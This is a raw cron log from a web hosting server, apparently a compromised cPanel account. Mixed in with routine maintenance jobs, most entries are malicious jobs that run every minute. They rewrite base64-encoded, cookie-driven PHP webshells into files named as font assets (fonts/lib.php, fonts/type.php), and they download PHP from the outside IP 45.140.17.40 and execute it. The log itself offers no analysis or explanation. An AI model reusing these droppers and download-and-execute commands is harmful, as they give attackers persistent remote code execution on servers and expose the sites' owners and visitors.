Sep  2 23:32:01 ip-184-168-122-23 CROND[29441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:32:01 ip-184-168-122-23 CROND[29443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:32:01 ip-184-168-122-23 CROND[29442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:33:01 ip-184-168-122-23 CROND[29609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:33:01 ip-184-168-122-23 CROND[29611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:33:01 ip-184-168-122-23 CROND[29613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:33:01 ip-184-168-122-23 CROND[29612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:34:01 ip-184-168-122-23 CROND[29694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:34:01 ip-184-168-122-23 CROND[29695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:34:01 ip-184-168-122-23 CROND[29693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:34:01 ip-184-168-122-23 CROND[29696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:34:01 ip-184-168-122-23 CROND[29697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:35:02 ip-184-168-122-23 CROND[29851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:35:02 ip-184-168-122-23 CROND[29852]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:35:02 ip-184-168-122-23 CROND[29854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:35:02 ip-184-168-122-23 CROND[29858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:35:02 ip-184-168-122-23 CROND[29856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:35:02 ip-184-168-122-23 CROND[29859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:35:02 ip-184-168-122-23 CROND[29860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:35:02 ip-184-168-122-23 CROND[29861]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 23:36:02 ip-184-168-122-23 CROND[29952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:36:02 ip-184-168-122-23 CROND[29956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:36:02 ip-184-168-122-23 CROND[29954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:36:02 ip-184-168-122-23 CROND[29955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:36:02 ip-184-168-122-23 CROND[29957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:37:01 ip-184-168-122-23 CROND[30039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:37:01 ip-184-168-122-23 CROND[30038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:37:01 ip-184-168-122-23 CROND[30040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:37:01 ip-184-168-122-23 CROND[30041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:38:01 ip-184-168-122-23 CROND[30199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:38:01 ip-184-168-122-23 CROND[30204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:38:01 ip-184-168-122-23 CROND[30202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:38:01 ip-184-168-122-23 CROND[30205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:38:01 ip-184-168-122-23 CROND[30203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:39:01 ip-184-168-122-23 CROND[30285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:39:01 ip-184-168-122-23 CROND[30288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:39:01 ip-184-168-122-23 CROND[30291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:39:01 ip-184-168-122-23 CROND[30294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:39:01 ip-184-168-122-23 CROND[30295]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 23:40:01 ip-184-168-122-23 CROND[30387]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:40:01 ip-184-168-122-23 CROND[30390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:40:01 ip-184-168-122-23 CROND[30391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:40:01 ip-184-168-122-23 CROND[30392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:40:01 ip-184-168-122-23 CROND[30395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:40:01 ip-184-168-122-23 CROND[30397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:40:01 ip-184-168-122-23 CROND[30394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:40:01 ip-184-168-122-23 CROND[30396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:41:01 ip-184-168-122-23 CROND[30488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:41:01 ip-184-168-122-23 CROND[30490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:41:01 ip-184-168-122-23 CROND[30491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:41:01 ip-184-168-122-23 CROND[30492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:42:01 ip-184-168-122-23 CROND[30571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:42:01 ip-184-168-122-23 CROND[30573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:42:01 ip-184-168-122-23 CROND[30575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:42:01 ip-184-168-122-23 CROND[30574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:42:01 ip-184-168-122-23 CROND[30576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:43:01 ip-184-168-122-23 CROND[30657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:43:01 ip-184-168-122-23 CROND[30659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:43:01 ip-184-168-122-23 CROND[30661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:43:01 ip-184-168-122-23 CROND[30662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:44:01 ip-184-168-122-23 CROND[30749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:44:01 ip-184-168-122-23 CROND[30753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:44:01 ip-184-168-122-23 CROND[30752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
